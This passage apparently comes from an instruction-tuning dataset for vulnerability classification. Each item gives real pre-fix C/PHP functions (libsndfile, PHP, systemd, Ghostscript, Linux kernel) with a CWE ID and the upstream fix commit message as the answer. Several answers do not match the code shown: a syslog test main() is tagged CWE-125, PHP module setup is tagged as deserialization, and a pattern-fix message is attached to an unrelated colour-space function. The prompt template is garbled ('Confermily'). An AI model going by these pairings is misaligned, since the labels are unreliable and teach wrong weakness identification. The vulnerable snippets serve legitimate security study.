:\n\t\t\t\tpsf->sf.format = SF_FORMAT_AIFF ;\n\t\t\t\tswitch (comm_fmt->sampleSize)\n\t\t\t\t{\tcase 12 :\n\t\t\t\t\t\tpsf->sf.format |= SF_FORMAT_DWVW_12 ;\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase 16 :\n\t\t\t\t\t\tpsf->sf.format |= SF_FORMAT_DWVW_16 ;\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase 24 :\n\t\t\t\t\t\tpsf->sf.format |= SF_FORMAT_DWVW_24 ;\n\t\t\t\t\t\tbreak ;\n\n\t\t\t\t\tdefault :\n\t\t\t\t\t\tpsf->sf.format |= SF_FORMAT_DWVW_N ;\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\t} ;\n\t\t\t\tbreak ;\n\n\t\tcase GSM_MARKER :\n\t\t\t\tpsf->sf.format = SF_FORMAT_AIFF ;\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_GSM610) ;\n\t\t\t\tbreak ;\n\n\n\t\tcase ima4_MARKER :\n\t\t\t\tpsf->endian = SF_ENDIAN_BIG ;\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_IMA_ADPCM) ;\n\t\t\t\tbreak ;\n\n\t\tdefault :\n\t\t\tpsf_log_printf (psf, \"AIFC : Unimplemented format : %M\\n\", comm_fmt->encoding) ;\n\t\t\treturn SFE_UNIMPLEMENTED ;\n\t\t} ;\n\n\tif (! ubuf.scbuf [0])\n\t\tpsf_log_printf (psf, \" Encoding : %M\\n\", comm_fmt->encoding) ;\n\telse\n\t\tpsf_log_printf (psf, \" Encoding : %M => %s\\n\", comm_fmt->encoding, ubuf.scbuf) ;\n\n\treturn 0 ;\n} /* aiff_read_comm_chunk */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix max channel count bug\n\nThe code was allowing files to be written with a channel count of exactly\n`SF_MAX_CHANNELS` but was failing to read some file formats with the same\nchannel count.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_MINIT_FUNCTION(com_dotnet)\n{\n\tzend_class_entry ce, *tmp;\n\n\tphp_com_wrapper_minit(INIT_FUNC_ARGS_PASSTHRU);\n\tphp_com_persist_minit(INIT_FUNC_ARGS_PASSTHRU);\n\n\tINIT_CLASS_ENTRY(ce, \"com_exception\", NULL);\n\tphp_com_exception_class_entry = zend_register_internal_class_ex(&ce, zend_ce_exception);\n\tphp_com_exception_class_entry->ce_flags |= ZEND_ACC_FINAL;\n/*\tphp_com_exception_class_entry->constructor->common.fn_flags |= ZEND_ACC_PROTECTED; */\n\n\tINIT_CLASS_ENTRY(ce, \"com_safearray_proxy\", NULL);\n\tphp_com_saproxy_class_entry = zend_register_internal_class(&ce);\n\tphp_com_saproxy_class_entry->ce_flags |= ZEND_ACC_FINAL;\n/*\tphp_com_saproxy_class_entry->constructor->common.fn_flags |= ZEND_ACC_PROTECTED; */\n\tphp_com_saproxy_class_entry->get_iterator = php_com_saproxy_iter_get;\n\n\tINIT_CLASS_ENTRY(ce, \"variant\", NULL);\n\tce.create_object = php_com_object_new;\n\tphp_com_variant_class_entry = zend_register_internal_class(&ce);\n\tphp_com_variant_class_entry->get_iterator = php_com_iter_get;\n\n\tINIT_CLASS_ENTRY(ce, \"com\", NULL);\n\tce.create_object = php_com_object_new;\n\ttmp = zend_register_internal_class_ex(&ce, php_com_variant_class_entry);\n\ttmp->get_iterator = php_com_iter_get;\n\n\tzend_ts_hash_init(&php_com_typelibraries, 0, NULL, php_com_typelibrary_dtor, 1);\n\n#if HAVE_MSCOREE_H\n\tINIT_CLASS_ENTRY(ce, \"dotnet\", NULL);\n\tce.create_object = php_com_object_new;\n\ttmp = zend_register_internal_class_ex(&ce, php_com_variant_class_entry);\n\ttmp->get_iterator = php_com_iter_get;\n#endif\n\n\tREGISTER_INI_ENTRIES();\n\n#define COM_CONST(x) REGISTER_LONG_CONSTANT(#x, x, CONST_CS|CONST_PERSISTENT)\n\n#define COM_ERR_CONST(x) { \\\n\tzend_long __tmp; \\\n\tULongToIntPtr(x, &__tmp); \\\n\tREGISTER_LONG_CONSTANT(#x, __tmp, CONST_CS|CONST_PERSISTENT); \\\n}\n\n\tCOM_CONST(CLSCTX_INPROC_SERVER);\n\tCOM_CONST(CLSCTX_INPROC_HANDLER);\n\tCOM_CONST(CLSCTX_LOCAL_SERVER);\n\tCOM_CONST(CLSCTX_REMOTE_SERVER);\n\tCOM_CONST(CLSCTX_SERVER);\n\tCOM_CONST(CLSCTX_ALL);\n\n#if 0\n\tCOM_CONST(DISPATCH_METHOD);\n\tCOM_CONST(DISPATCH_PROPERTYGET);\n\tCOM_CONST(DISPATCH_PROPERTYPUT);\n#endif\n\n\tCOM_CONST(VT_NULL);\n\tCOM_CONST(VT_EMPTY);\n\tCOM_CONST(VT_UI1);\n\tCOM_CONST(VT_I1);\n\tCOM_CONST(VT_UI2);\n\tCOM_CONST(VT_I2);\n\tCOM_CONST(VT_UI4);\n\tCOM_CONST(VT_I4);\n\tCOM_CONST(VT_R4);\n\tCOM_CONST(VT_R8);\n\tCOM_CONST(VT_BOOL);\n\tCOM_CONST(VT_ERROR);\n\tCOM_CONST(VT_CY);\n\tCOM_CONST(VT_DATE);\n\tCOM_CONST(VT_BSTR);\n\tCOM_CONST(VT_DECIMAL);\n\tCOM_CONST(VT_UNKNOWN);\n\tCOM_CONST(VT_DISPATCH);\n\tCOM_CONST(VT_VARIANT);\n\tCOM_CONST(VT_INT);\n\tCOM_CONST(VT_UINT);\n\tCOM_CONST(VT_ARRAY);\n\tCOM_CONST(VT_BYREF);\n\n\tCOM_CONST(CP_ACP);\n\tCOM_CONST(CP_MACCP);\n\tCOM_CONST(CP_OEMCP);\n\tCOM_CONST(CP_UTF7);\n\tCOM_CONST(CP_UTF8);\n\tCOM_CONST(CP_SYMBOL);\n\tCOM_CONST(CP_THREAD_ACP);\n\n\tCOM_CONST(VARCMP_LT);\n\tCOM_CONST(VARCMP_EQ);\n\tCOM_CONST(VARCMP_GT);\n\tCOM_CONST(VARCMP_NULL);\n\n\tCOM_CONST(NORM_IGNORECASE);\n\tCOM_CONST(NORM_IGNORENONSPACE);\n\tCOM_CONST(NORM_IGNORESYMBOLS);\n\tCOM_CONST(NORM_IGNOREWIDTH);\n\tCOM_CONST(NORM_IGNOREKANATYPE);\n#ifdef NORM_IGNOREKASHIDA\n\tCOM_CONST(NORM_IGNOREKASHIDA);\n#endif\n\tCOM_ERR_CONST(DISP_E_DIVBYZERO);\n\tCOM_ERR_CONST(DISP_E_OVERFLOW);\n\tCOM_ERR_CONST(DISP_E_BADINDEX);\n\tCOM_ERR_CONST(MK_E_UNAVAILABLE);\n\n#if SIZEOF_ZEND_LONG == 8\n\tCOM_CONST(VT_UI8);\n\tCOM_CONST(VT_I8);\n#endif\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-502'], 'message': 'Fix #77177: Serializing or unserializing COM objects crashes\n\nFirstly, we avoid returning NULL from the get_property handler, but\ninstead return an empty HashTable, which already prevents the crashes.\nSecondly, since (de-)serialization obviously makes no sense for COM,\nDOTNET and VARIANT objects (at least with the current implementation),\nwe prohibit it right away.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char* set_iovec_field(struct iovec *iovec, size_t *n_iovec, const char *field, const char *value) {\n char *x;\n\n x = strappend(field, value);\n if (x)\n iovec[(*n_iovec)++] = IOVEC_MAKE_STRING(x);\n return x;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': 'journald: do not store the iovec entry for process commandline on stack\n\nThis fixes a crash where we would read the commandline, whose length is under\ncontrol of the sending program, and then crash when trying to create a stack\nallocation for it.\n\nCVE-2018-16864\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1653855\n\nThe message actually doesn't get written to disk, because\njournal_file_append_entry() returns -E2BIG.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(void) {\n test_syslog_parse_identifier(\"pidu[111]: xxx\", \"pidu\", \"111\", 11);\n test_syslog_parse_identifier(\"pidu: xxx\", \"pidu\", NULL, 6);\n test_syslog_parse_identifier(\"pidu xxx\", NULL, NULL, 0);\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'journal: fix syslog_parse_identifier()\n\nFixes #9829.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: build_gs_font(i_ctx_t *i_ctx_p, os_ptr op, gs_font ** ppfont, font_type ftype,\n gs_memory_type_ptr_t pstype, const build_proc_refs * pbuild,\n build_font_options_t options)\n{\n ref kname;\t\t\t/* t_string */\n ref *pftype;\n ref *pencoding = 0;\n bool bitmapwidths;\n int exactsize, inbetweensize, transformedchar;\n int wmode;\n int code;\n gs_font *pfont;\n ref *pfid;\n ref *aop = dict_access_ref(op);\n bool cpsi_mode = gs_currentcpsimode(imemory);\n\n get_font_name(imemory, &kname, op - 1);\n if (dict_find_string(op, \"FontType\", &pftype) <= 0 ||\n !r_has_type(pftype, t_integer) ||\n pftype->value.intval != (int)ftype\n )\n return_error(gs_error_invalidfont);\n if (dict_find_string(op, \"Encoding\", &pencoding) <= 0) {\n if (!(options & bf_Encoding_optional))\n return_error(gs_error_invalidfont);\n pencoding = 0;\n } else {\n if (!r_is_array(pencoding))\n return_error(gs_error_invalidfont);\n }\n if (pencoding) { /* observed Adobe behavior */\n int count = r_size(pencoding);\n int type = ftype ? t_name : t_integer;\n bool fixit = false;\n\n while (count--) {\n ref r;\n if ((code = array_get(imemory, pencoding, count, &r)) < 0 ||\n !(r_has_type(&r, type) || r_has_type(&r, t_null))) {\n if (!cpsi_mode && ftype == ft_user_defined) {\n if (code < 0 || r_has_type(&r, t_null)) {\n return_error(gs_error_typecheck);\n }\n fixit = true;\n break;\n }\n else {\n return_error(gs_error_typecheck);\n }\n }\n }\n\n /* For at least Type 3 fonts, Adobe Distiller will \"fix\" an Encoding array, as in, for example\n * Bug 692681 where the arrays contain integers rather than names. Once the font is instantiated\n * the integers have been converted to names.\n * It is preferable to to this manipulation here, rather than in Postscript, because we are less\n * restricted by read-only attributes and VM save levels.\n */\n if (fixit) {\n ref penc;\n uint size = 0;\n char buf[32], *bptr;\n avm_space curglob = ialloc_space(idmemory);\n avm_space useglob = r_is_local(pencoding) ? avm_local : avm_global;\n\n ialloc_set_space(idmemory, useglob);\n \n count = r_size(pencoding);\n if ((code = ialloc_ref_array(&penc, (r_type_attrs(pencoding) & a_readonly), count, \"build_gs_font\")) < 0)\n return code;\n \n while (count--) {\n ref r;\n if (array_get(imemory, pencoding, count, &r) < 0){\n return_error(gs_error_typecheck);\n }\n /* For type 3, we know the Encoding entries must be names */\n if (r_has_type(&r, t_name)){\n ref_assign(&(penc.value.refs[count]), &r);\n }\n else {\n \n if ((code = obj_cvs(imemory, &r, (byte *)buf, 32, &size, (const byte **)(&bptr))) < 0) {\n return(code);\n }\n if ((code = name_ref(imemory, (const byte *)bptr, size, &r, true)) < 0)\n return code;\n ref_assign(&(penc.value.refs[count]), &r);\n }\n }\n \n if ((code = dict_put_string(osp, \"Encoding\", &penc, NULL)) < 0)\n return code;\n ialloc_set_space(idmemory, curglob);\n }\n }\n if ((code = dict_int_param(op, \"WMode\", 0, 1, 0, &wmode)) < 0 ||\n (code = dict_bool_param(op, \"BitmapWidths\", false, &bitmapwidths)) < 0 ||\n (code = dict_int_param(op, \"ExactSize\", 0, 2, fbit_use_bitmaps, &exactsize)) < 0 ||\n (code = dict_int_param(op, \"InBetweenSize\", 0, 2, fbit_use_outlines, &inbetweensize)) < 0 ||\n (code = dict_int_param(op, \"TransformedChar\", 0, 2, fbit_use_outlines, &transformedchar)) < 0\n )\n return code;\n code = dict_find_string(op, \"FID\", &pfid);\n if (code > 0 && r_has_type(pfid, t_fontID)) { /* silently ignore invalid FID per CET 13-05.ps */\n /*\n * If this font has a FID entry already, it might be a scaled font\n * made by makefont or scalefont; in a Level 2 environment, it might\n * be an existing font being registered under a second name, or a\n * re-encoded font (which was invalid in Level 1, but dvips did it\n * anyway).\n */\n pfont = r_ptr(pfid, gs_font);\n /*\n * If the following condition is false this is a re-encoded font,\n * or some other questionable situation in which the FID\n * was preserved. Pretend the FID wasn't there.\n */\n if (obj_eq(pfont->memory, pfont_dict(pfont), op)) {\n if (pfont->base == pfont) {\t/* original font */\n if (!level2_enabled)\n return_error(gs_error_invalidfont);\n *ppfont = pfont;\n return 1;\n } else {\t\t/* This was made by makefont or scalefont. */\n /* Just insert the new name. */\n gs_matrix mat;\n ref fname;\t\t\t/* t_string */\n\n code = sub_font_params(imemory, op, &mat, NULL, &fname);\n if (code < 0)\n return code;\n code = 1;\n copy_font_name(&pfont->font_name, &fname);\n goto set_name;\n }\n }\n }\n /* This is a new font. */\n if (!r_has_attr(aop, a_write))\n return_error(gs_error_invalidaccess);\n {\n ref encoding;\n\n /*\n * Since add_FID may resize the dictionary and cause\n * pencoding to become invalid, save the Encoding.\n */\n if (pencoding) {\n encoding = *pencoding;\n pencoding = &encoding;\n }\n code = build_gs_sub_font(i_ctx_p, op, &pfont, ftype, pstype,\n pbuild, pencoding, op);\n if (code < 0)\n return code;\n }\n pfont->BitmapWidths = bitmapwidths;\n pfont->ExactSize = (fbit_type)exactsize;\n pfont->InBetweenSize = (fbit_type)inbetweensize;\n pfont->TransformedChar = (fbit_type)transformedchar;\n pfont->WMode = wmode;\n pfont->procs.font_info = zfont_info;\n code = 0;\nset_name:\n copy_font_name(&pfont->key_name, &kname);\n *ppfont = pfont;\n return code;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-704'], 'message': 'PS interpreter - add some type checking\n\nThese were 'probably' safe anyway, since they mostly treat the objects\nas integers without checking, which at least can't result in a crash.\n\nNevertheless, we ought to check.\n\nThe return from comparedictkeys could be wrong if one of the keys had\na value which was not an array, it could incorrectly decide the two\nwere in fact the same.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: zimage3x(i_ctx_t *i_ctx_p)\n{\n os_ptr op = osp;\n gs_image3x_t image;\n ref *pDataDict;\n image_params ip_data;\n int num_components =\n gs_color_space_num_components(gs_currentcolorspace(igs));\n int ignored;\n int code;\n\n check_type(*op, t_dictionary);\n check_dict_read(*op);\n memset(&image, 0, sizeof(gs_image3x_t));\n gs_image3x_t_init(&image, NULL);\n if (dict_find_string(op, \"DataDict\", &pDataDict) <= 0)\n return_error(gs_error_rangecheck);\n if ((code = pixel_image_params(i_ctx_p, pDataDict,\n (gs_pixel_image_t *)&image, &ip_data,\n 16, false, gs_currentcolorspace(igs))) < 0 ||\n (code = dict_int_param(pDataDict, \"ImageType\", 1, 1, 0, &ignored)) < 0\n )\n return code;\n /*\n * We have to process the masks in the reverse order, because they\n * insert their DataSource before the one(s) for the DataDict.\n */\n if ((code = mask_dict_param(imemory, op, &ip_data,\n \"ShapeMaskDict\", num_components,\n &image.Shape)) < 0 ||\n (code = mask_dict_param(imemory, op, &ip_data,\n \"OpacityMaskDict\", num_components,\n &image.Opacity)) < 0\n )\n return code;\n return zimage_setup(i_ctx_p, (gs_pixel_image_t *)&image,\n &ip_data.DataSource[0],\n image.CombineWithColor, 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-704'], 'message': 'PS interpreter - add some type checking\n\nThese were 'probably' safe anyway, since they mostly treat the objects\nas integers without checking, which at least can't result in a crash.\n\nNevertheless, we ought to check.\n\nThe return from comparedictkeys could be wrong if one of the keys had\na value which was not an array, it could incorrectly decide the two\nwere in fact the same.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int setindexedspace(i_ctx_t * i_ctx_p, ref *r, int *stage, int *cont, int CIESubst)\n{\n ref *pproc = &istate->colorspace[0].procs.special.index_proc;\n int code = 0;\n uint edepth = ref_stack_count(&e_stack);\n ref_colorspace cspace_old;\n ref hival, lookup;\n gs_color_space *pcs;\n gs_color_space *pcs_base;\n gs_color_space_index base_type;\n\n if (i_ctx_p->language_level < 2)\n return_error(gs_error_undefined);\n\n *cont = 0;\n if (*stage == 1) {\n *stage = 0;\n return 0;\n }\n\n cspace_old = istate->colorspace[0];\n\n pcs_base = gs_currentcolorspace(igs);\n base_type = gs_color_space_get_index(pcs_base);\n\n code = array_get(imemory, r, 3, &lookup);\n if (code < 0)\n return code;\n code = array_get(imemory, r, 2, &hival);\n if (code < 0)\n return code;\n if (r_has_type(&lookup, t_string)) {\n int num_values = (hival.value.intval + 1) * cs_num_components(pcs_base);\n byte *data_tmp;\n\n check_read(lookup);\n /*\n * The PDF and PS specifications state that the lookup table must have\n * the exact number of of data bytes needed. However we have found\n * PDF files from Amyuni with extra data bytes. Acrobat 6.0 accepts\n * these files without complaint, so we ignore the extra data.\n */\n if (r_size(&lookup) < num_values)\n return_error(gs_error_rangecheck);\n /* If we have a named color profile and the base space is DeviceN or\n Separation use a different set of procedures to ensure the named\n color remapping code is used */\n if (igs->icc_manager->device_named != NULL && \n (base_type == gs_color_space_index_Separation ||\n base_type == gs_color_space_index_DeviceN))\n pcs = gs_cspace_alloc(imemory, &gs_color_space_type_Indexed_Named);\n else\n pcs = gs_cspace_alloc(imemory, &gs_color_space_type_Indexed);\n if (!pcs) {\n return_error(gs_error_VMerror);\n }\n pcs->base_space = pcs_base;\n rc_increment_cs(pcs_base);\n\n data_tmp = (byte *) (pcs->params.indexed.lookup.table.data = ialloc_string (lookup.tas.rsize, \"setindexedspace\"));\n if (!data_tmp) {\n rc_decrement(pcs, \"setindexedspace\");\n return_error(gs_error_VMerror);\n }\n\n memcpy(data_tmp, lookup.value.const_bytes, lookup.tas.rsize);\n\n pcs->params.indexed.lookup.table.size = num_values;\n pcs->params.indexed.use_proc = 0;\n make_null(pproc);\n } else {\n gs_indexed_map *map;\n\n /*\n * We have to call zcs_begin_map before moving the parameters,\n * since if the color space is a DeviceN or Separation space,\n * the memmove will overwrite its parameters.\n */\n code = zcs_begin_map(i_ctx_p, &map, &lookup, (hival.value.intval + 1),\n pcs_base, indexed_cont);\n if (code < 0)\n return code;\n if (igs->icc_manager->device_named != NULL &&\n (base_type == gs_color_space_index_Separation ||\n base_type == gs_color_space_index_DeviceN))\n pcs = gs_cspace_alloc(imemory, &gs_color_space_type_Indexed_Named);\n else\n pcs = gs_cspace_alloc(imemory, &gs_color_space_type_Indexed);\n pcs->base_space = pcs_base;\n rc_increment_cs(pcs_base);\n pcs->params.indexed.use_proc = 1;\n *pproc = lookup;\n map->proc.lookup_index = lookup_indexed_map;\n pcs->params.indexed.lookup.map = map;\n }\n pcs->params.indexed.hival = hival.value.intval;\n pcs->params.indexed.n_comps = cs_num_components(pcs_base);\n code = gs_setcolorspace(igs, pcs);\n /* release reference from construction */\n rc_decrement_only_cs(pcs, \"setindexedspace\");\n if (code < 0) {\n istate->colorspace[0] = cspace_old;\n ref_stack_pop_to(&e_stack, edepth);\n return code;\n }\n *stage = 0;\n if (ref_stack_count(&e_stack) == edepth) {\n return 0;\n } else {\n *cont = 1;\n *stage = 1;\n return o_push_estack; /* installation will load the caches */\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-704'], 'message': 'PS interpreter - check the Implementation of a Pattern before use\n\nBug #700141 \"Type confusion in setpattern\"\n\nAs the bug thread says, we were not checking that the Implementation\nof a pattern dictionary was a structure type, leading to a crash when\nwe tried to treat it as one.\n\nHere we make the st_pattern1_instance and st_pattern2_instance\nstructures public definitions and in zsetcolor we check the object\nstored under the Implementation key in the supplied dictionary to see if\nits a t_struct or t_astruct type, and if it is that its a\nst_pattern1_instance or st_pattern2_instance structure.\n\nIf either check fails we throw a typecheck error.\n\nWe need to make the st_pattern1_instance and st_pattern2_instance\ndefinitions public as they are defined in the graphics library and we\nneed to check in the interpreter.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int crypto_report_one(struct crypto_alg *alg,\n\t\t\t struct crypto_user_alg *ualg, struct sk_buff *skb)\n{\n\tstrlcpy(ualg->cru_name, alg->cra_name, sizeof(ualg->cru_name));\n\tstrlcpy(ualg->cru_driver_name, alg->cra_driver_name,\n\t\tsizeof(ualg->cru_driver_name));\n\tstrlcpy(ualg->cru_module_name, module_name(alg->cra_module),\n\t\tsizeof(ualg->cru_module_name));\n\n\tualg->cru_type = 0;\n\tualg->cru_mask = 0;\n\tualg->cru_flags = alg->cra_flags;\n\tualg->cru_refcnt = refcount_read(&alg->cra_refcnt);\n\n\tif (nla_put_u32(skb, CRYPTOCFGA_PRIORITY_VAL, alg->cra_priority))\n\t\tgoto nla_put_failure;\n\tif (alg->cra_flags & CRYPTO_ALG_LARVAL) {\n\t\tstruct crypto_report_larval rl;\n\n\t\tstrlcpy(rl.type, \"larval\", sizeof(rl.type));\n\t\tif (nla_put(skb, CRYPTOCFGA_REPORT_LARVAL,\n\t\t\t sizeof(struct crypto_report_larval), &rl))\n\t\t\tgoto nla_put_failure;\n\t\tgoto out;\n\t}\n\n\tif (alg->cra_type && alg->cra_type->report) {\n\t\tif (alg->cra_type->report(skb, alg))\n\t\t\tgoto nla_put_failure;\n\n\t\tgoto out;\n\t}\n\n\tswitch (alg->cra_flags & (CRYPTO_ALG_TYPE_MASK | CRYPTO_ALG_LARVAL)) {\n\tcase CRYPTO_ALG_TYPE_CIPHER:\n\t\tif (crypto_report_cipher(skb, alg))\n\t\t\tgoto nla_put_failure;\n\n\t\tbreak;\n\tcase CRYPTO_ALG_TYPE_COMPRESS:\n\t\tif (crypto_report_comp(skb, alg))\n\t\t\tgoto nla_put_failure;\n\n\t\tbreak;\n\tcase CRYPTO_ALG_TYPE_ACOMPRESS:\n\t\tif (crypto_report_acomp(skb, alg))\n\t\t\tgoto nla_put_failure;\n\n\t\tbreak;\n\tcase CRYPTO_ALG_TYPE_AKCIPHER:\n\t\tif (crypto_report_akcipher(skb, alg))\n\t\t\tgoto nla_put_failure;\n\n\t\tbreak;\n\tcase CRYPTO_ALG_TYPE_KPP:\n\t\tif (crypto_report_kpp(skb, alg))\n\t\t\tgoto nla_put_failure;\n\t\tbreak;\n\t}\n\nout:\n\treturn 0;\n\nnla_put_failure:\n\treturn -EMSGSIZE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'crypto: user - fix leaking uninitialized memory to userspace\n\nAll bytes of the NETLINK_CRYPTO report structures must be initialized,\nsince they are copied to userspace. The change from strncpy() to\nstrlcpy() broke this. As a minimal fix, change it back.\n\nFixes: 4473710df1f8 (\"crypto: user - Prepare for CRYPTO_MAX_ALG_NAME expansion\")\nCc: # v4.12+\nSigned-off-by: Eric Biggers \nSigned-off-by: Herbert Xu '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos)\n{\n\tint mxsize, cmd_size, k;\n\tint input_size, blocking;\n\tunsigned char opcode;\n\tSg_device *sdp;\n\tSg_fd *sfp;\n\tSg_request *srp;\n\tstruct sg_header old_hdr;\n\tsg_io_hdr_t *hp;\n\tunsigned char cmnd[SG_MAX_CDB_SIZE];\n\n\tif (unlikely(uaccess_kernel()))\n\t\treturn -EINVAL;\n\n\tif ((!(sfp = (Sg_fd *) filp->private_data)) || (!(sdp = sfp->parentdp)))\n\t\treturn -ENXIO;\n\tSCSI_LOG_TIMEOUT(3, sg_printk(KERN_INFO, sdp,\n\t\t\t\t \"sg_write: count=%d\\n\", (int) count));\n\tif (atomic_read(&sdp->detaching))\n\t\treturn -ENODEV;\n\tif (!((filp->f_flags & O_NONBLOCK) ||\n\t scsi_block_when_processing_errors(sdp->device)))\n\t\treturn -ENXIO;\n\n\tif (!access_ok(VERIFY_READ, buf, count))\n\t\treturn -EFAULT;\t/* protects following copy_from_user()s + get_user()s */\n\tif (count < SZ_SG_HEADER)\n\t\treturn -EIO;\n\tif (__copy_from_user(&old_hdr, buf, SZ_SG_HEADER))\n\t\treturn -EFAULT;\n\tblocking = !(filp->f_flags & O_NONBLOCK);\n\tif (old_hdr.reply_len < 0)\n\t\treturn sg_new_write(sfp, filp, buf, count,\n\t\t\t\t blocking, 0, 0, NULL);\n\tif (count < (SZ_SG_HEADER + 6))\n\t\treturn -EIO;\t/* The minimum scsi command length is 6 bytes. */\n\n\tif (!(srp = sg_add_request(sfp))) {\n\t\tSCSI_LOG_TIMEOUT(1, sg_printk(KERN_INFO, sdp,\n\t\t\t\t\t \"sg_write: queue full\\n\"));\n\t\treturn -EDOM;\n\t}\n\tbuf += SZ_SG_HEADER;\n\t__get_user(opcode, buf);\n\tmutex_lock(&sfp->f_mutex);\n\tif (sfp->next_cmd_len > 0) {\n\t\tcmd_size = sfp->next_cmd_len;\n\t\tsfp->next_cmd_len = 0;\t/* reset so only this write() effected */\n\t} else {\n\t\tcmd_size = COMMAND_SIZE(opcode);\t/* based on SCSI command group */\n\t\tif ((opcode >= 0xc0) && old_hdr.twelve_byte)\n\t\t\tcmd_size = 12;\n\t}\n\tmutex_unlock(&sfp->f_mutex);\n\tSCSI_LOG_TIMEOUT(4, sg_printk(KERN_INFO, sdp,\n\t\t\"sg_write: scsi opcode=0x%02x, cmd_size=%d\\n\", (int) opcode, cmd_size));\n/* Determine buffer size. */\n\tinput_size = count - cmd_size;\n\tmxsize = (input_size > old_hdr.reply_len) ? input_size : old_hdr.reply_len;\n\tmxsize -= SZ_SG_HEADER;\n\tinput_size -= SZ_SG_HEADER;\n\tif (input_size < 0) {\n\t\tsg_remove_request(sfp, srp);\n\t\treturn -EIO;\t/* User did not pass enough bytes for this command. */\n\t}\n\thp = &srp->header;\n\thp->interface_id = '\\0';\t/* indicator of old interface tunnelled */\n\thp->cmd_len = (unsigned char) cmd_size;\n\thp->iovec_count = 0;\n\thp->mx_sb_len = 0;\n\tif (input_size > 0)\n\t\thp->dxfer_direction = (old_hdr.reply_len > SZ_SG_HEADER) ?\n\t\t SG_DXFER_TO_FROM_DEV : SG_DXFER_TO_DEV;\n\telse\n\t\thp->dxfer_direction = (mxsize > 0) ? SG_DXFER_FROM_DEV : SG_DXFER_NONE;\n\thp->dxfer_len = mxsize;\n\tif ((hp->dxfer_direction == SG_DXFER_TO_DEV) ||\n\t (hp->dxfer_direction == SG_DXFER_TO_FROM_DEV))\n\t\thp->dxferp = (char __user *)buf + cmd_size;\n\telse\n\t\thp->dxferp = NULL;\n\thp->sbp = NULL;\n\thp->timeout = old_hdr.reply_len;\t/* structure abuse ... */\n\thp->flags = input_size;\t/* structure abuse ... */\n\thp->pack_id = old_hdr.pack_id;\n\thp->usr_ptr = NULL;\n\tif (__copy_from_user(cmnd, buf, cmd_size))\n\t\treturn -EFAULT;\n\t/*\n\t * SG_DXFER_TO_FROM_DEV is functionally equivalent to SG_DXFER_FROM_DEV,\n\t * but is is possible that the app intended SG_DXFER_TO_DEV, because there\n\t * is a non-zero input_size, so emit a warning.\n\t */\n\tif (hp->dxfer_direction == SG_DXFER_TO_FROM_DEV) {\n\t\tprintk_ratelimited(KERN_WARNING\n\t\t\t\t \"sg_write: data in/out %d/%d bytes \"\n\t\t\t\t \"for SCSI command 0x%x-- guessing \"\n\t\t\t\t \"data in;\\n program %s not setting \"\n\t\t\t\t \"count and/or reply_len properly\\n\",\n\t\t\t\t old_hdr.reply_len - (int)SZ_SG_HEADER,\n\t\t\t\t input_size, (unsigned int) cmnd[0],\n\t\t\t\t current->comm);\n\t}\n\tk = sg_common_write(sfp, srp, cmnd, sfp->timeout, blocking);\n\treturn (k < 0) ? k : count;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-732'], 'message': 'scsi: sg: mitigate read/write abuse\n\nAs Al Viro noted in commit 128394eff343 (\"sg_write()/bsg_write() is not fit\nto be called under KERNEL_DS\"), sg improperly accesses userspace memory\noutside the provided buffer, permitting kernel memory corruption via\nsplice(). But it doesn't just do it on ->write(), also on ->read().\n\nAs a band-aid, make sure that the ->read() and ->write() handlers can not\nbe called in weird contexts (kernel context or credentials different from\nfile opener), like for ib_safe_file_access().\n\nIf someone needs to use these interfaces from different security contexts,\na new interface should be written that goes through the 